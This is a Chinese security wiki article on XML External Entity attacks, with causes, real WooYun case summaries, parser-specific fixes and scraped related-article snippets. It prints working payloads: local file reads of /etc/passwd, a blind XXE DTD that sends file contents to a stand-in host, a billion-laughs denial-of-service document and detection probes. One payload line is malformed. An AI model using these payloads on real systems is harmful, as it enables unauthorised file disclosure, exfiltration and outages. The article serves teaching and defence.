XML External Entity attack/XXE攻击

XML External Entity attack/XXE攻击

1、相关背景介绍

可扩展标记语言(eXtensible Markup Language,XML)是一种标记语言,被设计用来传输和存储数据。XML应用极其广泛,如:

* 普通列表项目文档格式:OOXML,ODF,PDF,RSS……
* 图片格式:SVG,EXIF Headers……
* 网络协议:WebDAV,CalDAV,XMLRPC,SOAP,REST,XMPP,SAML,XACML……
* 配置文件:Spring配置文件,Struts2配置文件……

在XML 1.0标准中定义了实体的概念,实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体可在内部或外部进行声明。

包含内部实体的XML文档:

<?xml version="1.0" encoding="utf-8"?>
 
<!DOCTYPE entity [
  <!ENTITY copyright "Copyright wiki.wooyun.org">
]>
 
<wooyun>
  <internal>&copyright;</internal>
</wooyun>

包含外部实体的XML文档:

<?xml version="1.0" encoding="utf-8"?>
 
<!DOCTYPE entity [
  <!ENTITY wiki SYSTEM "http://wiki.wooyun.org/">
]>
 
<wooyun>
  <external>&wiki;</external>
</wooyun>

在解析XML时,实体将会被替换成相应的引用内容。

XML外部实体(XML External Entity,XXE)攻击是一种常见的Web安全漏洞,攻击者可以通过XML的外部实体获取服务器中本应被保护的数据。

2、成因

XML解析器解析外部实体时支持多种协议:

libxml2 PHP Java .NET
——– —————- ——– ——–
file file file file
http http http http
ftp ftp ftp ftp
  php https https
  compress.zlib jar  
  data netdoc  
  glob mailto  
  phar gopher  

如使用file协议可以读取本地文件内容、使用http协议可以获取Web资源等,因此攻击者可构造恶意的外部实体,当解析器解析了包含“恶意”外部实体的XML类型文件时,便会导致被XXE攻击。

下面这个XML被解析时便会将本地/etc/passwd文件的内容读出来:

<?xml version="1.0" encoding="utf-8"?>
 
<!DOCTYPE entity [
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
 
<wooyun>
  <external>&file;</external>
</wooyun>

注:如果读取的文件本身包含“<”、“&”等字符时会产生失败的情况,对于此类文件可以使用Base64编码绕过,具体方法如下:

<?xml version="1.0" encoding="utf-8"?>
 
<!DOCTYPE entity [
  <!ENTITY file SYSTEM ENTITY e SYSTEM "php://filter/read=convert.base64-encode/resource=http://wiki.wooyun.org">
]>
 
<wooyun>
  <external>&file;</external>
</wooyun>

不同的解析器可能默认对于外部实体会有不同的处理规则,以PHP语言为例,xml_parse的实现方式为expat库,而simplexml_load使用的是libxml库,两个底层库在解析的时候细节并不一样,expat默认对外部实体并不解析,而simplexml_load默认情况下会解析外部实体等,所以simplexml_load函数会受此问题影响,而xml_parse则默认不会受到影响。下面是几种常见语言可能会受到此问题影响的解析XML的方法:

PHP Java .NET
———— —————- ————————
DOM (待补充) System.Xml.XmlDocument
SimpleXML   System.Xml.XmlReader

3、攻击方式及危害

XXE的攻击方式分为显式攻击和盲攻击两种:

上述POC即为显式攻击,攻击者通过正常的回显将外部实体里的内容读取出来。

但是,在有些情况下无法通过这种方式完成XXE攻击,这时我们可以采取盲攻击的办法。

XXE盲攻击利用参数实体将本地文件内容读出来后,作为URL中的参数向其指定服务器发起请求,然后在其指定服务器的日志(Apache日志)中读出文件的内容。

因在dtd中使用%来定义参数实体的方式只能在外部子集中使用,或由外部文件定义参数实体,引用到XML文件的dtd来使用,所以XML文件稍有不同:

<?xml version="1.0" encoding="utf-8"?>
 
<!DOCTYPE entity [
  <!ENTITY % call SYSTEM "http://example.com/evil.xml">
  %call;
]>
 
<wooyun>
  <text>test</text>
</wooyun>

其中http://example.com/evil.xml里的内容是:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM ‘http://example.com/?file=%file;‘>">
%int;
%send;

危害:

XXE漏洞会导致读取任意未授权文件,如上述POC即可读取服务器中的/etc/passwd文件;

因为基于树的XML解析器会把全部加载到内存中,因此XXE漏洞也有可能被用来恶意消耗内存进行拒绝服务攻击,例如:

<?xml version = "1.0"?>
 
<!DOCTYPE entity [
    <!ENTITY wooyun "wooyun">
    <!ELEMENT wooyunz (#PCDATA)>
    <!ENTITY wooyun1 "&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;">
    <!ENTITY wooyun2 "&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;">
    <!ENTITY wooyun3 "&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;">
    <!ENTITY wooyun4 "&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;">
    <!ENTITY wooyun5 "&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;">
    <!ENTITY wooyun6 "&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;">
    <!ENTITY wooyun7 "&wooyun6;&wooyun6;&wooyun6;&wooyun6;&wooyun6;&wooyun6;&wooyun6;&wooyun6;&wooyun6;&wooyun6;">
    <!ENTITY wooyun8 "&wooyun7;&wooyun7;&wooyun7;&wooyun7;&wooyun7;&wooyun7;&wooyun7;&wooyun7;&wooyun7;&wooyun7;">
    <!ENTITY wooyun9 "&wooyun8;&wooyun8;&wooyun8;&wooyun8;&wooyun8;&wooyun8;&wooyun8;&wooyun8;&wooyun8;&wooyun8;">
]>
 
<wooyun>&wooyun9;</wooyun>

这个XML在定义实体是不断嵌套调用,如解析时未对大小进行限制,则可能会导致内存大量被消耗,从而实现拒绝服务攻击。

此外,还可以利用支持的协议构造出很多相关的攻击,如探测内网信息(如检测服务等)等。

4、实际案例

gainover:WooYun-2014-59783:百度某功能XML实体注入(二)

由于SVG本身是基于XML的,该漏洞在SVG转成JPG图片时的XML解析过程中厂商仅直接过滤了ENTITY关键字,但是由于DTD本身就支持调用外部的DTD文件,因此通过调用<!DOCTYPE svg SYSTEM “http://example.com/xxe.dtd”>的方式引入外部的DTD文件即成功避开了对ENTITY关键字的过滤,其中xxe.dtd的内容如下:

<!ENTITY test SYSTEM "file:///etc/passwd">

iv4n:WooYun-2014-74069:鲜果网RSS导入Blind XXE漏洞

该漏洞的过程是利用参数实体实现了XXE盲攻击,在读取本地文件后,将读出本地文件的内容作为URL中的参数向其指定服务器发起请求,在指定服务器的Apache日志中即可看到读出的文件内容。

五道口杀气:WooYun-2014-59911:从开源中国的某XXE漏洞到主站shell

该漏洞在格式化xml时进行了解析且没有对外部实体进行限制,所以产生服务器上任意文件被读取的问题,从而导致主站的ssh用户名和密码泄露,被成功getshell。

5、修复方案

在默认情况下关闭内联DTD解析(Inline DTD parsing)、外部实体、实体,使用白名单来控制允许实用的协议。

了解所使用的XML解析器是否默认解析外部实体,如果默认解析应根据实际情况进行关闭或者限制。下面给出了一些常见的关闭方法:

PHP:

对于使用SimpleXML解析XML的方法可在加载实体之前添加libxmldisableentity_loader(true);语句以进制解析外部实体。

对于使用DOM解析XML的方法可在加载实体之前添加libxmldisableentity_loader(true);语句或者使用:

<?php
// with the DOM functionality:
$dom = new DOMDocument();
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
?>

对于XMLReader解析XML的方法可使用:

<?php
// with the XMLReader functionality:
$doc = XMLReader::xml($badXml,‘UTF-8‘,LIBXML_NONET);
?>

Java:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.Net:

对于使用System.Xml.XmlReader解析XML的方法:

默认情况下,外部资源使用没有用户凭据的XmlUrlResolver对象进行解析。这意味着在默认情况下,可以访问任何不需要凭据的位置。通过执行下列操作之一,可以进一步保证安全:

  • 通过将XmlReaderSettings.XmlResolver属性设置为XmlSecureResolver对象限制XmlReader可访问的资源。
  • 通过将XmlReaderSettings.XmlResolver属性设置为null,不允许XmlReader打开任何外部资源。

对于利用超大的XML文档进行拒绝服务攻击的问题,使用XmlReader时,通过设置MaxCharactersInDocument属性,可以限制能够分析的文档大小。通过设置MaxCharactersFromEntities属性,可以限制从扩展实体中生成的字符数。

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

6、漏洞扫描与发现

检测XML是否被解析

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
	<!ENTITY xxe "xxe test">
]>
<root>&xxe;</root>

如果显示了xxe test证明支持,进行第二步

是否支持外部实体:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
	<!ENTITY % xxe SYSTEM "http://192.168.5.1/xxe.xml">
%xxe;
]>

观察自己的服务器上得access.log,如果有xxe.xml的请求,证明可以加载外部实体。

然后判断是否有回显,有回显就直接加载外部实体来进行攻击

不能回显,则使用Blind XXE攻击方法

7、相关其他安全问题

未知

8、相关资源

w3school:XML系列教程

Mark4z5:未知攻焉知防——XXE漏洞攻防

XML External Entity (XXE) Processing

读源码的猫:XXE漏洞以及Blind XXE总结

Chris Cornutt:Preventing XXE in PHP

Timothy D.Morgan:What You Didn‘t Know About XML External Entities Attacks

转载自:http://wiki.wooyun.org/web:xxe-attack

时间: 2024-10-26 20:40:05

XML External Entity attack/XXE攻击的相关文章

【译】Attacking XML with XML External Entity Injection (XXE)

原文链接:Attacking XML with XML External Entity Injection (XXE) XXE:使用XML外部实体注入攻击XML 在XML中,有一种注入外部文件的方式.长久以来,自动XML解析器(在后端使用libxml2)默认启用.因此,使用XML来格式化和传递数据的站点是存在漏洞的. XML经常被这样使用,一些常规的猜想是一些API发起SOAP请求和Javascript / Ajax使用XML传递数据. 建立你的测试平台 对于基于web的攻击,我喜欢在Mutil

XXE (XML External Entity Injection) :XML外部实体注入

XXE (XML External Entity Injection) 0x01 什么是XXE XML外部实体注入 若是PHP,libxml_disable_entity_loader设置为TRUE可禁用外部实体注入 0x02 XXE利用 *简单文件读取 XMLInject.php <?php # Enable the ability to load external entities libxml_disable_entity_loader (false); $xmlfile = file_g

4.XXE (XML External Entity Injection)

XXE (XML External Entity Injection) 0x01 什么是XXE XML外部实体注入 若是PHP,libxml_disable_entity_loader设置为TRUE可禁用外部实体注入 0x02 XXE利用 简单文件读取 基于file协议的XXE攻击 XMLInject.php <?php # Enable the ability to load external entities libxml_disable_entity_loader (false); $xm

XXE: XML eXternal Entity Injection vulnerabilities

From:https://www.gracefulsecurity.com/xml-external-entity-injection-xxe-vulnerabilities/ Here's a quick write-up on XXE, starting with how to detect the vulnerability and moving on to how to fix it! XXE is a vulnerability in the way that XML parses h

XXE (XML External Entity Injection) 外部实体注入漏洞案例分析

ENTITY 实体 在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的"别名",即一个ENTITY,然后在这些文档中需要该数据的地方调用它. XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种作为参数在DTD文件中使用. ENTITY的定义语法: <!DOCTYPE 文件名 [ <!ENTITY 实体名 "实体内容"> ]> xml entity 可以读取外置文件,其实entity作用相当于定义全局变

XXE攻击

1.背景 现在很多应用都存在XXE(XML External Entity attack)漏洞,就是xml外部实体攻击,比如facebook,很多XML的解析器默认是含有XXE漏洞的. 2.xml的定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素.两个采用不同技术的系统可以通过XML进行通信和交换数据. 例如: <?xml version='1.

神奇的Content-Type--在JSON中玩转XXE攻击

转自:360安全播报http://bobao.360.cn/learning/detail/360.html 大家都知道,许多WEB和移动应用都依赖于Client-Server的WEB通信交互服务.而在如SOAP.RESTful这样的WEB服务中,最常见的数据格式要数XML和JSON.当WEB服务使用XML或者JSON中的一种进行传输时,服务器可能会接收开发人员并未预料到的数据格式.如果服务器上的XML解析器的配置不完善,在JSON传输的终端可能会遭受XXE攻击,也就是俗称的XML外部实体攻击.

AndroidStudio报错:Emulator: I/O warning : failed to load external entity &quot;file:/C:/Users/Administrator/.AndroidStudio3

场景 在进行Android Studio的.Android Studio目录从C盘修改为其他目录后,新建App启动提示: Emulator: I/O warning : failed to load external entity "file:/C:/Users/Administrator/.AndroidStudio3 注: 博客: https://blog.csdn.net/badao_liumang_qizhi 关注公众号 霸道的程序猿 获取编程相关电子书.教程推送与免费下载. 实现 这是

PHP解析xml文件是报错:I/O warning : failed to load external entity

在代码顶部增加 libxml_disable_entity_loader(false); libxml_disable_entity_loader()作用是设置是否禁止从外部加载XML实体,设为true就是禁止,目的是防止XML注入攻击(详情自行百度),本意是好的,但这个在设置后存在BUG(具体没深究,以后有时间可以研究下,也许这个BUG在高版本php中已经解决了,没有验证,总之存在这么个BUG,有研究过的朋友可以告诉我原因),影响了服务的正常运行. 对于遇到相同问题的程序猿们,可以尝试此方法来